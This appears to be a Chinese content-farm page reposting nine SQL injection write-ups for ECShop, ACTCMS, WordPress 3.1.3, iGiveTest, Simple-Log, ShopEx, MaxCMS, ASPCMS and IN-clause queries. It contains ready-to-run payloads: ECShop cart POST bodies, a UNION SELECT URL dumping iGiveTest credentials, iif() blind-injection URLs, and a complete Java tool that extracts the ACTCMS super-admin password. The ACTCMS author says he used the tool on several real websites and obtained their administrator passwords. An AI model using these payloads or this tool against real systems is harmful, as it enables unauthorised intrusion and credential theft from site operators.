欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>ecshop的goodsattr和goodsattrid两个二次注入漏洞详细分析漏洞预警

ecshop的goodsattr和goodsattrid两个二次注入漏洞详细分析漏洞预警

2022-08-19 08:23:47 收藏本文 下载本文

“什锦牛蛙”通过精心收集,向本站投稿了9篇ecshop的goodsattr和goodsattrid两个二次注入漏洞详细分析漏洞预警,下面小编为大家带来整理后的ecshop的goodsattr和goodsattrid两个二次注入漏洞详细分析漏洞预警,希望大家喜欢!

ecshop的goodsattr和goodsattrid两个二次注入漏洞详细分析漏洞预警

篇1:ecshop的goodsattr和goodsattrid两个二次注入漏洞详细分析漏洞预警

一:goods_attr_id的二次注入

注入利用过程:

1.添加商品到购物车时,写入注入代码到商品属性id

localhost/test/ecshop/flow.php?step=add_to_cart

POST: goods={“quick”:1,“spec”:[“163”,“158'”],“goods_id”:32,“number”:“1”,“parent”:0}

注意,需要spec有两个或以上id

2.在查看购物车页面,点击更新购物车,执行注入代码(二次注入嘛,单引号可用了)

代码分析

1./includes/lib_goods.php 942行

function spec_price($spec){ if (!empty($spec)) { $where = db_create_in($spec, 'goods_attr_id'); //这里是注入位置,能控制$spec就可以了$sql = 'SELECT SUM(attr_price) AS attr_price FROM ' . $GLOBALS['ecs']->table('goods_attr') . “ WHERE $where”; $price = floatval($GLOBALS['db']->getOne($sql)); } else { $price = 0; } return $price;}

2./includes/lib_common.php 2266行get_final_price有spec_price的调用

3.再看get_final_price方法的调用 在ecshop/flow.php flow_update_cart方法,2272行

/* 处理普通商品或非优惠的配件 */ else { $attr_id = empty($goods['goods_attr_id']) ? array : explode(',', $goods['goods_attr_id']); //看,$attr_id是读取的购物车商品的goods_attr_id字段,所以只要在添加商品到购物车时写入注入代码就可以了 $goods_price = get_final_price($goods['goods_id'], $val, true, $attr_id); //更新购物车中的商品数量 $sql = “UPDATE ” .$GLOBALS['ecs']->table('cart'). “ SET goods_number = '$val', goods_price = '$goods_price' WHERE rec_id='$key' AND session_id='” . SESS_ID . “'”; }

二:good_attr的二次注入

1.插入注入代码(goods_attr)至订单商品(/wholesale.php可以插入,即商品批发页面.

2.将1生成的订单在用户中心订单查看页执行“放回购物车”操作,

3.查看购物车页面,注入代码执行

代码分析:

1./includes/lib_order.php get_cart_goods()方法(读取购物车的商品),1626行起

/* 查询规格 */if (trim($row['goods_attr']) != '') {$sql = “SELECT attr_value FROM ” . $GLOBALS['ecs']->table('goods_attr') . “ WHERE goods_attr_id ” .db_create_in($row['goods_attr']); //goods_attr是购物车商品的属性,所以只要能控制注入代码进入购物车商品就ok了,这是二次注入的原因$attr_list = $GLOBALS['db']->getCol($sql);foreach ($attr_list AS $attr){ $row['goods_name'] .= ' [' . $attr . '] '; //union select方式可以将数据库内容查询出来显示到页面上} }

2. /wholesale.php 160行起(将商品提交到购物车,实际上是提交到了$_SESSION)

/*------------------------------------------------------ */ //-- 加入购物车 /*------------------------------------------------------ */ elseif ($_REQUEST['act'] == 'add_to_cart') { /* 取得参数 */ $act_id = intval($_POST['act_id']); $goods_number = $_POST['goods_number'][$act_id]; $attr_id = isset($_POST['attr_id']) ? $_POST['attr_id'] : array(); if(isset($attr_id[$act_id])) { $goods_attr = $attr_id[$act_id]; //可控,可以参考我在截图里构造的提交数据 } …

3./wholesale.php 380行起(act==’submit_order’), 将$_SESSION里的数据写入订单

/* 插入订单商品 */ foreach ($_SESSION['wholesale_goods'] as $goods) { //如果存在货品 $product_id = 0; if (!empty($goods['goods_attr_id'])) { $goods_attr_id = array(); foreach ($goods['goods_attr_id'] as $value) { $goods_attr_id[$value['attr_id']] = $value['attr_val_id']; } ksort($goods_attr_id); $goods_attr = implode('|', $goods_attr_id); $sql = “SELECT product_id FROM ” . $ecs->table('products') . “ WHERE goods_attr = '$goods_attr' AND goods_id = '” . $goods['goods_id'] . “'”; $product_id = $db->getOne($sql); } $sql = “INSERT INTO ” . $ecs->table('order_goods') . “( ” . “order_id, goods_id, goods_name, goods_sn, product_id, goods_number, market_price, ”. “goods_price, goods_attr, is_real, extension_code, parent_id, is_gift) ”. “ SELECT '$new_order_id', goods_id, goods_name, goods_sn, '$product_id','$goods[goods_number]', market_price, ”. “'$goods[goods_price]', '$goods[goods_attr]', is_real, extension_code, 0, 0 ”. “ FROM ” .$ecs->table('goods') . “ WHERE goods_id = '$goods[goods_id]'”; $db->query($sql);

4.到3为止,已经可以将注入代码写到订单商品表(order_goods)里了,接下来就是进入购物车数据表,在用户中心查看订单时有个”放回购物车”操作,可以将订单商品放到购物车数据表(cart)里,

然后在查看购物车页面/flow.php即能看到注入结果了(见1的代码分析)

/includes/lib_transaction.php return_to_cart方法 854行起

... // 要返回购物车的商品 //约923行$return_goods = array('goods_id'=> $row['goods_id'],'goods_sn'=> addslashes($goods['goods_sn']),'goods_name' => addslashes($goods['goods_name']),'market_price' => $goods['market_price'],'goods_price' => $goods['goods_price'],'goods_number' => $row['goods_number'],'goods_attr' => empty($row['goods_attr']) ? '' : addslashes($row['goods_attr']), //看过来,重点在这,$row是订单商品,虽然addslashes了,但这是二次注入,最终会从数据库里再出来进入查询(见1的代码分析)'goods_attr_id' => empty($row['goods_attr_id']) ? '' : $row['goods_attr_id'],'is_real' => $goods['is_real'],'extension_code'=> addslashes($goods['extension_code']),'parent_id' => '0','is_gift' => '0','rec_type'=> CART_GENERAL_GOODS );...

摘自:www.unhonker.com/bug/1334.html

篇2:ACTCMS注入漏洞漏洞预警

一款ASP的CMS程序,用的人并不是太多。

GOOGLE一下关键字“Copyright @ www.actcms.com” ,不是太多。

今天看了一下代码。

基本上所有的参数全都被过滤掉了。。

不过投票那里出了点小问题。。

在/plus/vote/vote.asp页面。

代码如下:

ASP/Visual Basic代码

....

if request(“voted”).count=0 then

response.write “”

response.end

end if

for i=1 to request(“voted”).count

actcms.actexe(“Update vote_act set VoteNum=VoteNum+1 where id=”&request(“voted”)(i))

next

....

response.Redirect “index.asp?id=”&id&“”

id直接从request里面取的,不过因为前面是update ,再加上后面的response.redirect,利用起来比较麻烦。而且这是一个一般工具无法识别的注入点。因为无论我们构造什么语句在后面,它都会跳到index.asp页面。

唯一有变化的就是当我们构造的注入条件正确的时候,票数会增加。 手工利用起来相当的麻烦,试了现在的那些注入工具明小子,pangolin之类的也不能注入,所以我自己动手写了一个简单的程序 ,因为只会JAVA,所以就用JAVA写了。。写的比较粗糙。用的穷举法,这样写着比较方便。速度慢就慢吧。

代码如下:

Java代码

import java.io.BufferedReader;

import java.io.InputStreamReader;

import java.net.URL;

import java.net.URLConnection;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

public class ActCmsGetPwd {

public static char[] arr = { '0', '1', '2', '3', '4', '5', '6', '7', '8',

'9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',

'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',

'z' };

public static String siteurl = “”;

public static int voteid = 1;

public static String charset = “”;

public static void main(String[] args) throws Exception {

if (args.length < 4) {

System.out

.println(“usage:java ActCmsGetPwd    ”);

System.out.println(“siteurl:目标站点”);

System.out.println(“voteid:投票id”);

System.out

.println(“totalVoteNum:当前的投票人数,请自行查看plus/vote/index.asp?id=”);

System.out.println(“charset:目标站点所用的ACTCMS的字符集,请自行查看网页源代码”);

System.out.println(“eg:java ActCmsGetPwd www.abc.com/ 1 15 gb2312”);

return;

}

siteurl = args[0];

voteid = Integer.parseInt(args[1]);

int preVoteNum = Integer.parseInt(args[2]);

charset = args[3];

System.out.println(“Code by Ninty , QQ 3191864”);

System.out.print(“password is :”);

for (int i = 1; i <= 16; i++) {

System.out.print(send(i, 0, preVoteNum));

preVoteNum++;

}

System.out.println(“nDone!”);

}

public static char send(int a, int b, int preVoteNum) throws Exception {

String sql = “%20and%20(select%20top%201%20mid(password,” + a

+ “,1)%20from%20admin_act%20where%20supertf%20=1)%20=%20'” + arr[b] + “'”;

URL u = new URL(siteurl

+ “/Plus/vote/vote.asp?dopost=send&id=”+voteid+“&ismore=0&voted=3” + sql);

URLConnection conn = u.openConnection();

BufferedReader reader = new BufferedReader(new InputStreamReader(conn

.getInputStream(),charset));

String str = reader.readLine();

while (str != null) {

if (str.indexOf(“ 投票人数:”) != -1) {

break;

}

str = reader.readLine();

}

reader.close();

if (!isRight(str, preVoteNum)) {

return send(a, ++b, preVoteNum);

} else {

return arr[b];

}

}

public static boolean isRight(String str, int preVoteNum) {

if (str == null) {

System.out.println(“无法读取!”);

System.exit(0);

}

Pattern pat = Pattern.compile(“人数:(\d+)”);

Matcher mat = pat.matcher(str);

if (mat.find()) {

int num = Integer.parseInt(mat.group(1));

if (num != preVoteNum) {

return true;

}

}

return false;

}

}

下面是已经编译好的 class文件,编译环境JDK6,

直接运行就好。

actcmsgetpwd.class

在网上找了几个站测试了一下,都可以得到超级管理员的密码,不过官网好像不存在这个漏洞。

篇3:WordPress 3.1.3 注入漏洞漏洞预警

第一个:

get_terms过滤器文件中声明taxonomy.php 没有正确验证用户输入,允许攻击者构建任意sql命令,可用于盲注,

以下网址可用于执行SQL盲注攻击

[SQL injection] sql注入

localhost/wp-admin/edit-tags.php?taxonomy=link_category&orderby=[SQL

injection]&order=[SQL injection]

localhost/wp-admin/edit-tags.php?taxonomy=post_tag&orderby=[SQL

injection]&order=[SQL injection]

localhost/wp-admin/edit-tags.php?taxonomy=category&orderby=[SQL

injection]&order=[SQL injection]

第二个:

get_bookmarks()函数中声明的

bookmark.php文件没有正确验证用户输入

这个也可以盲注

以下网址可用于执行SQL盲注攻击

localhost/wp-admin/link-manager.php?orderby=[SQLinjection]&order=[SQL injection]

WordPress已经确认漏洞存在了

漏洞解决:

升级到3.1.4 或者 3.2-RC3版本,

篇4:iGiveTest 2.1.0注入漏洞漏洞预警

Version: <= 2.1.0

# Homepage: iGiveTest.com/

谷歌关键字: “Powered by iGiveTest”

随便注册一个帐号,

iGiveTest 2.1.0注入漏洞漏洞预警

然后暴管理员帐号和密码

www.xxxx.com/users.php?action=groups&order=-1&userids=-1) union select 1,concat(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1

篇5:simplelog v1.3.1 注入漏洞漏洞预警

Simple-Log是基于PHP+MySQL的开源免费博客系统,系统轻巧运行速度飞快并具有很好的可扩展性.

程序下载down.cnzz.cn/Info/57357.aspx

----------------------------------------------

刚买到vps,打算装个blog系统,看到simple-log比较简洁,就下了最新的装了,,

simplelog v1.3.1 注入漏洞漏洞预警

谁知道,偶刚装好,到前台看到搜索就搜了下,没想到真有洞,urldecode惹的祸。

试了下,真可以爆啊,无语了。

再上一张图吧,数据依然可以爆掉。

篇6:ShopEx API注入漏洞漏洞预警

详细描述

缺陷文件:

coreapipayment2.0api_b2b_2_0_payment_cfg.php

coreapipayment1.0api_b2b_2_0_payment_cfg.php

第44行 $data['columns'] 未做过滤导致注入

REF: www.cnseay.com/3237/

漏洞危害

管理员密码可以被 获取

解决方案

官方已经更新,请下载官方补丁

www.shopex.cn/

篇7:马克斯CMScookies注入漏洞漏洞预警

漏洞文件:admin/admin_inc.asp

代码如下:

Sub checkPower  //第103行

dim loginValidate,rsObj : loginValidate = “maxcms2.0”

err.clear

on error resume next

set rsObj=conn.db(“select m_random,m_level from {pre}manager where m_username=''”&rCookie(“m_username”)&“''”,“execute”)

rCookie函数在文件inc/CommonFun.asp中

Function rCookie(cookieName)  //第28行

rCookie = request.cookies(cookieName)

End Function

rCookie函数仅从cookie读取数据没做任何过滤,导致cookie注入漏洞的产生,

马克斯CMS最新cookies注入漏洞漏洞预警

测试方法:修改cookies值注入.

篇8:ASPCMS2.38 SQL注入漏洞漏洞预警

ASPCMS系统对用户提交的参数过滤不严,导致攻击者可以提交SQL语句查询数据库获取敏感信息,

漏洞存在于/admin_aspcms/_content/_Content/AspCms_ContentFun.asp,这个文件未验证管理员权限,因此如何人都可以访问,同时该文件对获取的参数没有使用自定义的filterPara函数过滤,导致多处注入,代码入下:

    <% ''die debugmode

dim action : action=getForm(“action”,“get”)

dim ContentID, LanguageID, SortID, GroupID, Exclusive, Title, Title2, TitleColor, IsOutLink, OutLink, Author, ContentSource, ContentTag, Content, ContentStatus, IsTop, IsRecommend, IsImageNews, IsHeadline, IsFeatured, ContentOrder, IsGenerated, Visits, AddTime, ImagePath, IndexImage, DownURL, PageTitle, PageKeywords, PageDesc, PageFileName, spec, EditTime,DownGroupID,IsNoComment,Star,Timeing,TimeStatus,VideoGroupID,CHvalue,SpecCategory

''SpecCategory用于判断是哪个类型的自定义参数

dim sortType, keyword, page, psize, order, ordsc, sortTypeName

sortType=getForm(“sortType”,“get”) if isnul(sortType) then sortType=0

sortid=getForm(“sortid”,“post”) if isnul(sortid) then sortid=getForm(“sortid”,“get”)

keyword=getForm(“keyword”,“post”) if isnul(keyword) then keyword=getForm(“keyword”,“get”)

page=getForm(“page”,“get”)

psize=getForm(“psize”,“get”)

rder=getForm(“order”,“get”)

rdsc=getForm(“ordsc”,“get”)

DownGroupID=getForm(“DownGroupID”,“post”)

VideoGroupID=getForm(“VideoGroupID”,“post”)

select case sortType

case “2”

sortTypeName =“文章”

SpecCategory = “C” case “3”

sortTypeName =“产品”

SpecCategory = “P” case “4”

sortTypeName =“下载”

SpecCategory = “DL” case “5”

sortTypeName =“招聘”

SpecCategory = “HR” case “6”

sortTypeName =“相册”

SpecCategory = “FO” case “8”

sortTypeName = “视频”

SpecCategory = “VI” end select

''单篇1,文章2,产品3,下载4,招聘5,相册6,链接7,视频8

Select case action

case “add” : addContent

case “edit” : editContent

case “move” : moveContent

case “copy” : copyContent

case “rpost” : rpostContent

case “del” : delContent

case “recovery” : Recovery

case “tdel” : trueDelContent

case “on” : onOff “on”, “Content”, “ContentID”, “ContentStatus”, “”, getPageName&“?sortType=”&sortType&“&sortid=”&sortid&“&keyword=”&keyword&“&page=”&page&“&psize=”&psize&“&order=”&order&“&ordsc=”&ordsc

case “off” : onOff “off”, “Content”, “ContentID”, “ContentStatus”, “”, getPageName()&“?sortType=”&sortType&“&sortid=”&sortid&“&keyword=”&keyword&“&page=”&page&“&psize=”&psize&“&order=”&order&“&ordsc=”&ordsc

case “order” : UpdateOrder

End Select

Sub trueDelContent

dim id : id=getForm(“id”,“both”) if isnul(id) then alertMsgAndGo “请选择要操作的内容”,“-1” if runmode=1 then

dim rs, sql, filepath

dim templateobj : set templateobj=new TemplateClass

sql=“select ContentID,Title,sortType,SortFolder,a.GroupID,ContentFolder,ContentFileName,a.AddTime,a.PageFileName,a.SortID,b.GroupID from {prefix}Content as a, {prefix}Sort as b where a.LanguageID=”&session(“languageID”)&“ and a.SortID=b.SortID and ContentStatus=2 and ContentID in(”&id&“)” set rs=conn.exec(sql,“r1”) do while not rs.eof

filepath=templateobj.getContentLink(rs(“SortID”),rs(“ContentID”),rs(“SortFolder”),rs(“a.GroupID”),rs(“ContentFolder”),

rs(“ContentFileName”),rs(“AddTime”),rs(“PageFileName”),rs(“b.GroupID”)) if isExistFile(filepath) then delFile filepath

''echo filepath&“

rs.movenext

loop

end if

conn.exec “delete from {prefix}Content where ContentStatus=2 and ContentID in(”&id&“)”,“exe”

alertMsgAndGo “彻底删除成功”,getPageName()&“?sortType=”&sortType&“&sortid=”&sortid&“&keyword=”&keyword&“&page=”&page&“&psize=”&psize&“&order=”&order&“&ordsc=”&ordsc

End Sub

利用比较简单,利用iif来强制报错:

www.xxx.com0/aspcms/admin_aspcms/_content/_Content/AspCms_ContentFun.asp?action=tdel&id=2=iif(((select asc(mid(LoginName,1,1)) from AspCms_User where UserID=1)=97),2,chr(97))

查询管理员用户名第一个字符是否为a

www.xxx.com/aspcms/admin_aspcms/_content/_Content/AspCms_ContentFun.asp?action=tdel&id=2=iif(((select asc(mid(LoginName,1,1)) from AspCms_User where UserID=1)=98),2,chr(97))

查询管理员用户名第一个字符是否为b

返回为假,强制报错

篇9:关于IN方式的注入漏洞漏洞预警

By jmdcw

曾多次写过关于IN方式的注入,可能程序员并不看俺的文章,所以嘛,。。。今天受小林之托,在看一段源码时,又见到了这个漏洞,闲来无事,就来现一下吧,高手请飘过。

一般IN方式的利用代码如下:

dim id

id=request.form(“id”)

Conn.Execute(“delect from 表名 where name='”&name&“' and id in (”&id&“)”)

对于这种漏洞,我以前的做法是用IIF函数,它的语法是:IIF( 逻辑表达式 , 为真时的表达式 , 为假时的表达式 ),意思就是当逻辑表达式为真时,比如1=1,就返回“为真时的表达式”,如果表达式为1=2,那么就返回“为假时的表达式”。假如我构造的语句是:“IIF(((select len(user) from[表]where id=某个用户ID值)=猜测值),1,2)”,其中“某个用户的ID值”是欲猜测用户的ID值,如果为真返回的就是1,否则返回的就是2,然后将值传递到id中就是 :id in(1)或id in(2),这样,从这两个之中找出一个真,据此,来暴力破解出所要猜测的值,

除了IIF还有没有别的方法呢?当然有了,就是直接加括号,比如在上面的ID中直接提交语句:

1) and (select len(user) form[表] where id=某个用户的id值)=猜测值 and 1 in(1

这样用括号就匹配了IN中的括号,以后只需更改提交语句中的猜测值就可以猜测出用户名的长度了。

如果这个漏洞出现在SQL数据库中,那么就更简单了,先来用这样的语句看一下是否是SQL数据库

1) and user>0 and 1 in(1

如果返回了错误,并有用户名,那么就是SQL数据库了,然后再试一下多句执行方式:

1);另一个sql语句--

当然,如果要利用IN漏洞快速注入,个人感觉,还是用俺以前写过的注入转发页比较快一些。

【ecshop的goodsattr和goodsattrid两个二次注入漏洞详细分析漏洞预警】相关文章:

1.马克斯CMS2.0beta (maxcms)SQL注入漏洞解析漏洞预警

2.Nginx 安全漏洞 (CVE4547)漏洞预警

3.毕业论文选题系统上传漏洞漏洞预警

4.CVE0497 漏洞利用学习笔记漏洞预警

5.稻草人企业站管理系统宽字节注入漏洞利用漏洞预警

6.网马解密初级篇漏洞预警

7.COCOON Counter统计程序漏洞总结漏洞预警

8.EFront 3.6.9 社区版多个漏洞漏洞预警

9.天下马ASP收信程序漏洞漏洞预警

10.bug漏洞处理机制系统bugtracker漏洞预警

下载word文档
《ecshop的goodsattr和goodsattrid两个二次注入漏洞详细分析漏洞预警.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

最新推荐
猜你喜欢
  • 返回顶部